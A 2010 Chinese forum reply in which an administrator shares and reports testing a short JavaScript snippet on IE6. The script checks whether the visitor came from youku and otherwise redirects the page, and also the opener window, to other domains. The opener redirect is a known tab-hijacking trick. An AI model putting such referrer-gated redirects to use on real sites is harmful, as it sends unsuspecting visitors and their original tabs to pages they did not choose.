- 积分
- 25133
- 注册时间
- 2007-3-16
- 激情
- 17695
- 居住地
- 中国 重庆市 江津市
- 在线时间
- 58079 小时
- 最佳答案
- 975

用户组:管理员
为人民服务!
      
|
楼主 |
发表于 2010-11-16 16:23:46
|
显示全部楼层
回复 一起穿越 的帖子
刚刚测试了 有效的啊
测试地址:http://tieba.baidu.com/i/134753354/p/后面是数字 (也就是用I贴吧测试的)
代码如下:
today=new Date();
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/\.(youku)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where)){
document.writeln("");
}
else
{
window.location.href="http://www.baidu1.com";
window.opener.navigate("http://www.baidu2.com");
}
测试环境:xp + ie6
测试结果:有效
|
|